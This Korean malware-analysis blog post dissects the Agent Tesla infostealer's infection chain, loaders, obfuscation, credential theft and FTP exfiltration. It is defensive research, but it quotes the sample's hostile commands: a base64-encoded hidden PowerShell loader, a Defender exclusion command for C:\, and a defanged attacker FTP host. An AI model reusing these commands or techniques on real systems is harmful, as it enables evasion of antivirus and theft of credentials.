본문 바로가기

Reversing/Malware Analysis

[Agent Tesla] 악성메일로 유포되는 .NET 기반 악성코드 분석

목차

 

1. 개요
   1.1) 공격 흐름
   1.2) 분석 파일 정보

2. 상세 분석
   2.1) 초기 감염 과정 bat -> powershell
   2.2) .NET 기반 로더 DLL 분석

      2.2.2) Routine 1 - Defender Bypass
      2.2.3) Routine 2 - Persistence
      2.2.4) Final Routine - Run Native Loader
   2.3) Native Loader 분석
   2.4) 최종 페이로드 분석
      2.4.1) 문자열 , 매개변수 암호화
      2.4.2) switch-case 난독화
      2.4.3) 난독화 코드 복원
      2.4.4) 메인 루틴
      2.4.5) 중복 프로세스 종료
      2.4.6) 정보 수집 및 초기화 과정
      2.4.7) 크리덴셜 탈취 및 C2 전송
      2.4.8) 메세지 루프 (키로깅, 화면캡처)
      2.4.9) 키로깅 타이머
      2.4.10) 화면 캡처 타이머

3. 정보 탈취 대상

4. 결론

 

5. 참고 문헌

 

※ 분석에 필요한 자료를 GitHub에 업로드하였으며, 아래 링크를 통해 다운로드할 수 있습니다.

  1. Agent Tesla 복호화 도구
    https://github.com/ku8y/Decrypt-agent-tesla
  2. Agent Tesla 전체 소스코드 복원 자료
    https://github.com/ku8y/Agent-Tesla-Stealer

 

 

 

1. 개요

 

agent-tesla는 .NET 기반으로 구현된 정보 탈취형 악성코드로서, 주로 웹 브라우저, 이메일, FTP 클라이언트 등에 저장된 사용자 정보, 키 입력 정보, 현재 화면 스크린 샷 등을 수집하여 공격자에게 전송하는 기능을 수행한다. 해당 악성코드는 2014년경 최초로 관측된 이후 지속적으로 변형 및 개량되며 유포되고 있으며, 비교적 단순한 구조에도 불구하고 높은 감염률과 안정적인 정보 탈취 능력으로 인해 현재까지도 활발히 사용되고 있다.

 

https://socprime.com/ko/blog/agenttesla-information-stealing-malware-delivered-in-cyber-attacks-on-ukrainian-government-entities/

 

우크라이나 정부 기관을 대상으로 한 사이버 공격에서 전달된 AgentTesla 정보 탈취 악성코드 | SOC P

SOC Prime에서 선별한 Sigma 규칙을 사용하여 우크라이나 주체에 대한 사이버 공격에서 확산되는 AgentTesla 스파이웨어 트로이 목마를 탐지하세요.

socprime.com

최근 우크라이나 정부 기관을 대상으로 agent-tesla를 통한 공격이 진행 되고 있다.

 

또한, 상용 인포스틸러 형태로 암시장에서 판매되거나 구독형 모델로 제공되고 있으며, 공격자는 별도의 고급 기술 없이도 악성코드를 손쉽게 활용하여 유포할 수 있다. 주된 경로는 피싱 이메일이며, 첨부 파일 형태의 실행 파일, 문서 매크로, 스크립트 파일 등을 통해 초기 감염이 이루어진다. 감염 이후에는 사용자 환경 정보를 수집하고, 설정된 C2 서버 또는 이메일 계정을 통해 탈취된 데이터를 외부로 전송한다. 난독화 도구를 활용한 문자열 암호화, 안티 디버깅 기법, 가상 환경 탐지 등의 회피 기법을 일부 변종에서 확인할 수 있다. 

 

본 글에서는 agent-tesla의 구조적 특징과 주요 기능의 동작 방식에 대해 정리한다. 이를 통해 전반적인 동작 흐름과 특성을 이해하는 것을 목적으로 한다.

 

 

1.1) 공격 흐름

https://asec.ahnlab.com/ko/57256/

 

해당 분석 샘플은 스팸 메일을 통해 악성 BAT 파일 형태로 유포되는 정황이 확인되었다.

 

그림1) agent tesla 공격 흐름

 

BAT 파일은 자신을 PowerShell로 복사하여 정상 프로세스로 위장한 뒤 사전에 준비된 명령어를 실행한다. 이후. NET 기반 로더 DLL을 통해 해당 프로세스에 로드하는 방식으로 감염이 진행된다.

 

로드된 DLL은 UAC 우회, Windows Defender 우회, 지속 메커니즘 등록과 같은 선행 동작을 수행한 뒤, 메모리에 적재된 쉘코드 기반 Native Loader를 통해 CLR 호스팅 작업을 수행한다. 이 과정에서 디스크에 별도의 파일을 남기지 않고, 메모리 상에서 최종 페이로드가 주입되는 방식으로 실행된다.

 

정보 탈취 대상은 매우 광범위하며, 웹 브라우저에 저장된 계정 정보뿐만 아니라 FTP 클라이언트, VNC 클라이언트, 이메일 계정, 데이터베이스 관리 도구(MySQL Workbench), VPN 클라이언트, Windows Credential 등 다양한 사용자 민감 정보가 포함된다. 수집된 정보는 HTML 파일 형식으로 생성되며, 이후 공격자가 제어하는 FTP 서버로 업로드되어 외부로 유출된다.

 

분석 과정에서 키로깅 및 화면 캡처 기능이 코드상에 구현되어 있음을 확인하였으나, 본 분석 대상 샘플에서는 해당 기능이 비활성화된 상태로 배포되어 있어 실행 시 키 입력 수집이나 화면 캡처 동작은 수행되지 않았다.

 

1.2) 분석 파일 정보

File name Documents and Details.bat
MD5 6D9821BC1CA643A6F75057A97975DB0E
SHA-256 E84683AD3B1F9F2BF5FCE7D0DA4EA6E203DA12420D2E1F9DB5A8D888E9878EC3
File type DOS batch file
File size 1016.71 KB (1041113 bytes)
First Submission 2023-09-08 08:13:45 UTC

 

 

 

2. 상세 분석

2.1) 초기 감염 과정 bat -> powershell

그림2) 난독화 되어 있는 bat 스크립트

 

해당 BAT 파일을 확인하면 다수의 난독화된 문자열과 함께 스크립트 전체가 난독화된 형태로 구성되어 있는 것을 확인할 수 있다. 각 변수마다 명령을 분리하고 난독화된 변수를 포함하여 실행되도록 설계되어 있다.

 

그림3) 실행되는 명령 조합

 

각 분리된 변수를 조합하여 해석하면 다음과 같다. 우선 최소화된 상태로 실행되어 사용자에게 노출되지 않도록 동작하며, xcopy 명령을 통해 PowerShell 실행 파일을 TEMP 폴더에 Lynfe.png라는 이름으로 복사한다. 이후 현재 실행 중인 배치 파일을 TEMP 폴더에 Lynfe.png.bat이라는 이름으로 복사한다.

%Jzgjtxijme%%Kpehagrdso%%Vueslilpxl%%Uqgmpxnhud%%Mxggjkzmcf%
               ↓
if not DEFINED IS_MINIMIZED (
    set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
)
# 최소화로 실행 (사용자에게 안 보이도록)



%Slbktirscs%%Jipcxnxjbi%%Ynrekeqgac%%Zkjrtmfwpb%
               ↓
echo F | xcopy /d /q /y /h /i ^ C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ^ 
%TEMP%\Lynfe.png
# PowerShell 실행 파일을 TEMP 폴더에 Lynfe.png 이름으로 복사


%Bxfwcnftxz%%Pslrztzzxi%%Libtzaeoff%
               ↓
echo F | xcopy /d /q /y /h /i ^ %0 ^ 
%TEMP%\Lynfe.png.bat
# 현재 실행 중인 배치 파일을 TEMP 폴더에 Lynfe.png.bat 이름으로 복사

 

그림4) 최종 실행되는 명령 조합

 

이후 마지막 단계에서 Base64로 인코딩 된 PowerShell 명령을 숨김 창 옵션(-win 1)으로 실행하여, 인코딩된 페이로드 명령을 수행한다.

%TEMP%\Lynfe.png -win 1 -enc JABOAGgAZABvA...
exit

# Base64 인코딩된 PowerShell 명령을 숨김 창(-win 1)으로 실행

 

그림5) Process Tree

 

최종적으로 해당 동작 과정에서 수행된 커맨드를 정리하면 아래 표와 같다.

1 xcopy  /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\HACKBA~1\AppData\Local\Temp\Lynfe.png
2 xcopy  /d /q /y /h /i "C:\Users\hackbaby2\Desktop\Documents and Details.bat" C:\Users\HACKBA~1\AppData\Local\Temp\Lynfe.png.bat
3 C:\Users\HACKBA~1\AppData\Local\Temp\Lynfe.png  -win 1 -enc JABOAGgAZABvAHMAaQB3AHoAagB3ACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAFgAdAB3AGwAdwBiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE4AaABkAG8AcwBpAHcAegBqAHcAKQA7ACQAUgBvAHIAcQBoAHEAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAWAB0AHcAbAB3AGIAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWgB0AHoAYgB6ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAbwByAHEAaABxAG8ALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFoAdAB6AGIAegAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAWgB0AHoAYgB6AC4AQwBsAG8AcwBlACgAKQA7ACQAUgBvAHIAcQBoAHEAbwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAFgAdAB3AGwAdwBiACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFgAdAB3AGwAdwBiACkAOwAgACQAVQB6AGwAcgB1AHUAcwB6AGUAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABYAHQAdwBsAHcAYgApADsAIAAkAEkAaQByAGcAdAB3ACAAPQAgACQAVQB6AGwAcgB1AHUAcwB6AGUAdAAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEQAYgBvAGwAZwBoAGkAdwB6ACAAPQAgACQASQBpAHIAZwB0AHcALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA

 

 

그림6) TEMP 경로에 생성되는 Lynfe.png, Lynfe.png.bat

 

TEMP 경로를 확인한 결과, Lynfe.png(PowerShell 실행 파일)Lynfe.png.bat(복사된 악성 BAT 파일)이 존재하는 것을 확인할 수 있다. 실행 중이던 악성 BAT 파일과 Lynfe.png.bat의 해시 값을 비교한 결과, 두 파일은 동일한 파일임을 확인할 수있고, Lynfe.png 파일의 해시 값과 PowerShell 파일을 비교한 결과, 동일한 파일을 확인할 수 있다.

 

그림7) 파워쉘 명령 Base64 디코딩

 

Lynfe.png -win 1 -enc JABOAGgAZABvAHM.. 형태로 실행되는 인코딩 데이터를 Base64 디코딩한 결과, 다음과 같은 PowerShell 명령이 실행되는 것을 확인할 수 있다.

그림8) 최종 디코딩된 PowerShell 스크립트

 

현재 실행 중인 프로세스의 경로를 기준으로. bat 확장자를 덧붙인 파일을 참조하여, 해당 BAT 파일의 마지막 한 줄    (Base64로 인코딩 된 형태의 페이로드 데이터)을 읽어온다. 이후 Base64 디코딩 과정을 거쳐 바이트 배열로 변환된다.

 

디코딩된 바이트 데이터는 GzipStream을 사용하여 압축 해제 과정이 수행된다. 압축 해제가 완료된 후에는 바이트 배열의 순서를 역순으로 재배치하는 연산이 수행한다.

 

이후 System.Reflection.Assembly::Load를 통해 메모리 상에서. NET 어셈블리로 로드된다. 로드된 어셈블리에서 첫 번째 메서드를 호출함으로써, AgentTesla의 악성 로직이 실행된다. 아래 Python 코드를 통하여 페이로드를 직접 복원할 수 있다.

import base64
import gzip

b64 = "H4sIAAAAAAAEAOy8d0CTT/Mv..."  # enc payload
data = base64.b64decode(b64)
data = gzip.decompress(data)
data = data[::-1]   # Reverse array

with open("Lmfrjkiv.dll", "wb") as f:
    f.write(data)

print("complete")

 

 

2.2) .NET 기반 로더 DLL 분석

그림9) 추출된 .NET 기반 로더 dll

File name Lmfrjkiv.dll
MD5 BF98E73C3976BD8ABF43156D2277E3FB
SHA-256 DC415B51AC736C885F0100491F6B2384C405F20A8C726593D7B000B63C6186F9
File type Win32 DLL
File size 781 KB

 

추출된 페이로드 DLL을 분석한 결과, 해당 파일은. NET 기반으로 구현된 DLL인 것을 확인할 수 있다.

 

그림10) 로더 dll 메인 루틴

 

Lmfrjkiv.dll에서는 두 가지 주요 루틴이 존재한다. 첫 번째 루틴은 관리자 권한으로 실행되지 않았을 경우 runas를 이용해 자기 자신을 관리자 권한으로 재실행하는 UAC Bypass 기능과, Windows Defender를 우회하기 위해 검사 경로를 예외 처리하는 기능을 수행한다. 두 번째 루틴은 UAC Bypass 기능과, 지속 메커니즘을 등록하는 역할을 담당한다.

 

해당 샘플에서는 첫 번째 루틴이 비활성화되어 있었지만, 보다 다양한 동작을 분석하기 위해 강제로 활성화하여 동작 흐름을 같이 분석하였다.

그림11) 난독화 되어 있는 로더 dll 코드

 

각 동작 코드에는 문자열이 암호화된 형태로 포함되어 있으며, 이를 복호화한 뒤 기능을 수행함으로써 분석을 방해한다. 코드 상에서 확인되는 오른쪽 사진의 복호화 함수는 XOR 연산과 비트 연산 등 다수의 연산을 단계적으로 수행하는 구조로 구성되어 있으며, 복호화 로직이 매우 복잡하고 길게 구현되어 있는 것을 확인할 수 있다.

 

 

2.2.1) Routine 1 - UAC Bypass

그림12) UAC Bypass

 

GetCurrent()와 WindowsPrincipal 클래스를 이용하여 현재 프로세스가 Administrator 권한을 보유하고 있는지 검사한다. 관리자 권한이 아닌 것으로 판단될 경우, 무한 루프 형태로 재실행을 시도하도록 구성되어 있다.

 

재실행 과정에서는 ProcessStartInfo 구조체를 사용하여 새로운 프로세스를 생성한다. 이때 실행 파일 경로는 현재 프로세스의 실행 경로를 참조하며, Verb 값에 runas를 설정함으로써 UAC 프롬프트를 통해 관리자 권한 상승을 유도한다. 또한 UseShellExecute 옵션을 활성화하고, WindowStyle을 Hidden으로 설정하여 사용자에게 실행 창이 노출되지 않도록 한다. 재실행이 성공적으로 수행되면 기존 프로세스는 Exit(0)을 호출하여 종료된다. 

 

2.2.2) Routine 1 - Defender Bypass

그림13) TaskService - TimeTrigger 등록

 

TaskService 객체를 생성하고 작업이 사용자에게 노출되지 않도록 Hidden 옵션을 활성화한다. 실행 시간제한은 제거되며, 작업이 만료된 이후에는 짧은 시간 내에 자동 삭제되도록 설정되어 있다.

 

작업 실행 권한과 관련해서는 RunLevel을 Highest로 설정하여 관리자 권한으로 실행되도록 구성되어 있다. 트리거는 시간 기반(TimeTrigger)으로 등록되며, 작업 등록 후 약 5초 뒤에 실행되도록 설정되고, 약 15초 후에는 종료되도록 구성되어 있다. 

 

그림14) 파워쉘 명령 예약 작업에 추가

 

현재 실행 중인 프로세스의 경로를 기준으로 드라이브 루트를 추출한 뒤, 이를 Base64로 인코딩하여 인자로 전달한다. 이후 ExecAction을 통해 PowerShell 실행 파일을 호출하고, 인코딩 된 명령을 함께 전달하여 예약 작업이 실행되도록 한다. 최종적으로 구성된 명령은 다음과 같다.

powershell.exe "-ExecutionPolicy Bypass -WindowStyle Hidden Set-MpPreference -ExclusionPath C:\"

 

-ExecutionPolicy Bypass 옵션을 통해 PowerShell 실행 정책을 무시하고 스크립트를 실행하도록 설정하며, -WindowStyle Hidden 옵션을 사용하여 사용자에게 실행 창이 노출되지 않도록 한다.

 

Set-MpPreference -ExclusionPath C:\ 명령은 Windows Defender의 검사 예외 경로로 C:\를 추가하는 역할을 수행하여 Defender에 의해 탐지되지 않도록 한다.

 

 

2.2.3) Routine 2 - Persistence

그림15) TaskService - LogonTrigger 등록

 

TaskService 객체를 생성한 뒤 트리거는 LogonTrigger를 사용하여 등록되며, 사용자가 시스템에 로그온 한 이후 약 30초가 경과한 시점에 실행되도록 설정되어 있다. 또한 RunLevel을 Highest로 지정하여 관리자 권한으로 실행되도록 구성되어 있다.

그림16) 지속 메커니즘 등록

 

현재 실행 중인 프로세스의 경로를 기준으로, 사용자 AppData 디렉터리 하위의 특정 폴더에 실행 파일을 복사하고, 원본 파일명에 특정 확장자를 덧붙인 형태로 저장한다. 

 

복사된 실행 파일을 실행하도록 작업 동작을 정의하고, 작업 이름을 현재 실행 파일의 이름을 기반으로 설정하여 루트 작업 폴더에 등록한다. 이를 통해 사용자가 시스템에 로그인할 때마다 해당 악성 파일이 자동으로 실행된다.

 

2.2.4) Final Routine - Run Native Loader

그림17) Native Loader 실행 루틴
그림18) 저장된 쉘코드 GZip 방식으로 압축 해제

 

내부에 저장된 쉘코드는 GZip 방식으로 압축 해제된 후 바이트 배열 형태로 복원되며, 이후 Array.Reverse를 호출하여 바이트 배열의 순서를 역순으로 재배치한다. 이후 VirtualAlloc()을 호출하여 실행 권한을 포함한 메모리 영역에 복호화된 쉘코드를 복사하고, 해당 주소를 함수 포인터로 변환하여 호출함으로써 네이티브 코드가 메모리 상에서 실행된다.

그림19) 실행되는 Native Loader

 

최종적으로 IntPtr가 가리키는 메모리 영역을 확인한 결과, 해당 주소에는 디코딩된 payload가 적재되어 있는 것을 확인할 수 있다.

 

2.3) Native Loader 분석

그림20) Export Table Parsing

 

네이티브 코드 단계에서는 PEB 및 PEB_LDR_DATA 구조를 파싱하여 필요한 API를 동적으로 해결한다. 이 과정에서 VirtualAlloc, VirtualFree, LoadLibraryA 등의 함수 주소를 계산하고 추출한다.

그림21) 동적으로 라이브러리 로드

 

LoadLibraryA를 호출하여 COM 관련 기능, 네트워크 통신, NET 런타임 초기화에 필요한 라이브러리(ole32.dll, oleaut32.dll, wininet.dll, mscoree.dll )를 동적으로 로드한다. 

그림22) 함수 테이블 생성

 

VirtualAlloc을 통해 함수 테이블을 위한 메모리 영역을 생성하고, 앞서와 동일한 API 해싱 기법을 사용하여 각 Windows API의 주소를 추출 한 뒤, 이를 할당된 함수 테이블에 순차적으로 기록한다. 동적으로 추출하는 API 목록은 아래와 같다.

GetProcAddress
GetModuleHandleA
VirtualAlloc
VirtualFree
VirtualQuery
VirtualProtect
Sleep
MultiByteToWideChar
GetUserDefaultLCID
SafeArrayCreate
SafeArrayDestroy
SafeArrayGetLBound
SafeArrayGetUBound
SysAllocString
SysFreeString
LoadTypeLib
InternetCrackUrl
InternetConnect
InternetSetOption
InternetReadFile
InternetCloseHandle
HttpOpenRequest
CorBindToRuntime
CLRCreateInstance
CoInitializeEx
CoCreateInstance
CoUninitialize

 

그림23) CLR hosting

 

CLRCreateInstance → GetRuntime → GetInterface → Start 순서로 CLR 호스팅 과정을 수행한다. 먼저 CLR MetaHost 인스턴스를 생성한 뒤, 시스템에 설치된. NET 런타임을 열거하여 사전에 지정된 특정. NET 버전을 탐색한다.

적절한 런타임이 확인되면 GetRuntime을 호출하여 ICLRRuntimeInfo 인터페이스를 획득하고, 이어서 GetInterface를 통해 ICorRuntimeHost 인터페이스를 가져온다. 이후 Start 메서드를 호출하여 CLR을 초기화한다.

그림24) AppDomain 이름 생성

 

SysAllocString을 호출하여 "CFW9XFH3" 문자열을 생성하며, 해당 문자열은 이후 생성될 AppDomain의 이름으로 사용된다.

그림25) 실행 컨텍스트 확보

 

GetDefaultDomain 메서드를 호출하고, 기본 AppDomain에 대한 포인터(appDomainThunk)를 획득한다. 이후 QueryInterface를 통해 IID_AppDomain을 요청함으로써, 실제 _AppDomain 인터페이스 포인터를 얻는다. 이를 통해 현재 프로세스에서 관리 코드가 실행될 기본 컨텍스트가 확보된다.

그림26) 메모리에 로드되는 Agent Tesla 최종 페이로드

 

MSIL 페이로드를 담기 위한 SafeArray 객체를 생성하고 해당 배열에 복원된 어셈블리 데이터를 복사한다. SafeArray 생성 이후에는 PE 헤더(MZ 헤더)를 포함한 바이너리가 저장되는 것을 확인할 수 있으며, 이 배열은 이후 AppDomain에 어셈블리를 로드하는 데 사용된다.

 

그림27) 로드한 페이로드 초기화

 

_AppDomain 인터페이스의 Load_3() 메서드를 호출하여, 이전 단계에서 생성한 SafeArray에 담긴 PE 데이터를 기반으로 관리되는 어셈블리를 AppDomain에 로드한다. 로드가 완료되면, 원본 PE 데이터가 저장된 메모리 영역을 0x00으로 초기화하여 흔적을 제거하고, SafeArrayDestroy를 호출하여 사용된 SafeArray를 해제함으로써 메모리 흔적을 제거한다.

그림28) 생성되는 Domain
그림29) 메모리 상에서 자기 자신 로드 후 동작

 

최종적으로 _AppDomain::Load_3 호출과 CLR 호스팅 절차를 통해 Start 호출이 이루어지며, 이를 통해 AgentTesla 페이로드가 디스크에 파일을 생성하지 않고 메모리 상에서 실행되어 프로세스가 시작된다. 이후 InternalCreateDomain()이 호출되어 새로운 AppDomain이 생성되며, 앞서 확인된 "CFW9XFH3" 문자열이 해당 AppDomain의 이름으로 사용되는 것을 확인할 수 있다.

 

 

 

2.4) 최종 페이로드 분석

File name aa04758c-4b32-461d-98b6-71debafa0e44.exe
MD5 493E382BDF4EC2DEE0A740AFC9619135
SHA-256 5A412D7A6ADF607C29AB29DBD17FA63F3E26BA7F1677B92EB7CDAFE4C727F172
File type Win32 EXE
File size 237 KB

 

 

그림30) 난독화 되어 있는 AgentTesla

 

추출된 최종 바이너리는 .NET기반 바이너리이며 확인한 결과, 분석을 어렵게 하기 위해 매우 긴 코드 구조와 다수의 난독화 및 암호화 기법이 적용되어 있다. AgentTesla에서 주목할 만한 특징은 크게 두 가지로 나눌 수 있다.

 

첫 번째는 switch-case 기반 흐름 난독화를 통해 코드의 실행 경로를 복잡하게 구성하여 분석 난이도를 높이는 점이며,

 

두 번째는 함수에 전달되는 파라미터와 문자열을 복잡한 연산 함수로 암호화하여 분석자가 실제 동작을 직관적으로 이해하지 못하도록 설계된 점이다.

 

2.4.1) 문자열, 매개변수 암호화

그림31) 파라미터와 문자열 암호화된 상태로 정적 분석 방해

 

각 함수에 전달되는 파라미터와 문자열은 암호화 되어 있고 wUK()로 명명된 복호화 함수를 통하여 동작한다. 분석가가 실제로 어떤 동작이 수행되는지를 직관적으로 파악하기 어렵도록 구성되어 있다.

 

2.4.2) switch-case 난독화

그림32) switch-case 난독화

 

switch-case 난독화를 사용하여 실행 순서를 의도적으로 복잡하게 구성한 예시이다. 무한 루프 내에서 변수 값을 변경하며 다음 실행 블록을 결정하고, 특정 조건에서 goto를 통해 코드의 일부로 직접 점프하도록 설계되어 있다.

 

즉, 코드의 동작은 정상적이지만, 실행 경로가 난해하게 얽혀 있어 분석자가 전체 흐름을 쉽게 추적할 수 없도록 만든 구조이다.

 

2.4.3) 난독화 코드 복원

그림33) 복호화 함수를 참고하여 자동 복호화 도구 개발

 

우선 wUK 함수를 분석하여 내부에서 수행되는 연산 로직을 식별하고, switch‑case 기반으로 난독화된 실행 흐름을 제거하여 복원하였다. 이를 기반으로 동일한 연산을 재현하는 코드를 작성하였으며, 해당 코드를 활용해 암호화된 문자열을 복호화함으로써 실제 사용되는 문자열과 명령을 추출할 수 있었다. 복호화에 사용된 코드는 해당 링크에서 확인할 수 있다.

그림34) switch-case 난독화 코드 복원

 

문자열을 복호화하고 switch‑case 기반 난독화를 제거하면, 그림과 같이 코드의 흐름이 명확해지고 이해하기 쉬운 깔끔한 형태로 복원할 수 있다. 분석가들을 위해 AgentTesla의 난독화된 코드 중 전체는 아니지만 핵심 루틴과 일부를 깔끔한 코드로 복원하여 GitHub에 업로드하였다. 복원된 코드는 실행 가능(Runnable)하도록 빌드할 수는 없지만, 분석 용도로만 확인이 가능하고 필요시 참고하면 유용한 자료가 될 것 같다.

 

2.4.4) 메인 루틴

그림35) 최종 페이로드 메인 루틴

 

코드의 시작 부분에서는 SSL/TLS 프로토콜 설정과 인증서 검증 우회, 그리고 AgentTesla 초기화를 수행하는 루틴이 포함되어 있다. ServicePointManager.SecurityProtocol을 통해 SSL3, TLS1.0, TLS1.1, TLS1.2를 활성화하고, ServerCertificateValidationCallback에 커스텀 콜백을 추가하여 모든 SSL 인증서를 무조건 허용하도록 설정한다. 이를 통해 HTTPS 통신 시 인증서 검증을 우회할 수 있다.

 

그림36) 최종 페이로드 핵심 루틴

 

TerminateDuplicateProcess()에서 동일한 프로세스 이름을 가진 중복 인스턴스를 종료함으로써, 중복 실행을 방지하고 InitEnvironment()에서 설정 값 및 실행 환경을 초기화하고, SelfRelocateExecutable("")를 호출하여 실행 파일을 다른 위치로 복사·이동함으로써 지속성을 확보한다.

 

SendCredentialHtml()을 통해 초기 자격 증명 탈취 또는 수집된 정보 전송 루틴이 실행된다. 키로깅 기능이 활성화된 경우(isKeyLogging) 키보드 훅을 설치하여 입력 정보를 수집하고, 화면 캡처 기능이 활성화된 경우(isCaptureScreen) 주기적으로 화면을 캡처하는 타이머를 시작한다.

 

2.4.5) 중복 프로세스 종료

그림37) 중복 인스턴스 제거

 

현재 프로세스의 이름과 PID를 기준으로 동일한 프로세스 이름을 가진 다른 인스턴스를 모두 탐색한 뒤, 자기 자신을 제외한 모든 인스턴스를 강제 종료한다.

 

2.4.6) 정보 수집 및 초기화 과정

그림38) 정보 수집

 

시스템 고유 식별을 위해 하드웨어 정보를 수집하고, 현재 실행 중인 어셈블리의 경로를 저장한다. 이후 %APPDATA% 경로 하위에 임의의 디렉터리(fCrRa)와 실행 파일 경로(fCrRa.exe)를 구성하여, 향후 자기 복사나 지속성 유지에 활용될 준비를 한다. 이후 사용자 계정명과 컴퓨터 이름을 조합해 식별 데이터를 생성한다.

 

isInternet가 활성화된 경우에는 외부 통신을 시도하며, HTTP 응답을 받아 초기 C2 통신 또는 환경 확인에 필요한 데이터를 확보한다. 분석 대상 샘플에서는 해당 기능이 비활성화된 상태로 확인되었다.

그림39) 현재 실행 파일 이동 작업

 

현재 실행 중인 어셈블리의 경로와 전달된 대상 경로(targetPath)를 비교하여, 이미 동일한 위치에서 실행 중인 경우에는 추가 동작 없이 종료한다. 이후 %TEMP% 경로 하위에 밀리초 값을 포함한 임의의. tmp 파일명을 생성하고, 현재 실행 중인 파일의 경로를 획득한다. MoveFile API를 호출하여 실행 파일을 임시 파일로 이동시킨다.

 

샘플에서는 SelfRelocateExecutable() 함수의 파라미터가 빈 문자열로 전달되기 때문에 항상 파일 이동 로직이 수행된다.

 

2.4.7) 크리덴셜 탈취 및 C2 전송

그림40) 크리덴셜 목록을 HTML으로 변환 및 생성

 

브라우저, 애플리케이션 등에서 수집된 크리덴셜 목록을 가져온 뒤, 유효한 데이터가 존재할 경우 이를 HTML 형식으로 가공한다. 각 크리덴셜 항목은 개별 HTML 블록으로 변환되며, 파일명에는 사용자 계정명과 컴퓨터 이름, 수집 시간이 포함되어 감염 호스트를 식별할 수 있도록 구성된다.

 

이후 완성된 결과물을 FTP 업로드 루틴을 통해 공격자가 제어하는 서버로 전송한다. 전송이 완료되면 내부 버퍼와 목록을 정리하여 흔적을 최소화한다.

그림41) 수집 대상 웹 브라우저 및 애플리케이션


수집 대상은 매우 광범위하며, 웹 브라우저에 저장된 계정 정보뿐만 아니라 FTP 클라이언트, VNC 클라이언트, 이메일 계정, 데이터베이스 관리 도구(MySQL Workbench), VPN 클라이언트, Windows Credential 등 다양한 사용자 민감 정보가 포함된다.

그림42) FTP 서버 업로드

 

FTP 프로토콜을 사용하여 미리 하드코딩된 FTP 서버 주소로 연결을 시도하며, 전송 방식은 STOR을 이용한 파일 업로드 형태로, 앞서 생성된 HTML 로그 데이터를 요청 본문에 기록한다.

ftp://files[.]000webhost.com

 

2.4.8) 메시지 루프 (키로깅, 화면캡처)

그림43) 메세지 루프 유지

 

최종적으로 Application.Run()을 호출하여 모든 동작이 완료된 이후에도 프로세스를 종료하지 않고 실행 상태를 유지한다. 이는 메시지 루프를 유지함으로써 프로세스를 백그라운드에 상주시켜, 키로깅이나 화면 캡처 기능이 활성화된 경우 지속적으로 사용자 활동을 감시하고 추가적인 정보를 탈취하기 위한 목적을 가진다.

 

2.4.9) 키로깅 타이머

그림44) 키로그 타이머

 

키로깅 기능을 활성화하기 위해 키보드 후킹 설치 한다. 최대 10회까지 반복 시도를 수행하며, 현재 프로세스의 모듈 이름을 기준으로 모듈 핸들을 획득한 뒤 SetWindowsHookEx()를 호출하여 키보드 이벤트 훅을 등록한다. 이때 훅 타입으로는 저수준 키보드 훅(WH_KEYBOARD_LL에 해당하는 값)이 사용되며, 전역 범위에서 키 입력을 가로채도록 설정된다.

 

그림45) 키로깅 기록 파일 C2 전송 루틴

 

TEMP 경로에 저장된 log.tmp 파일의 존재 여부를 확인한 뒤, 기존에 누적된 키 입력 로그가 존재할 경우 이를 HTML 형식으로 감싸 공격자 FTP 서버로 업로드한다. 업로드가 성공하면 임시 파일은 삭제되어 흔적을 최소화한다.

 

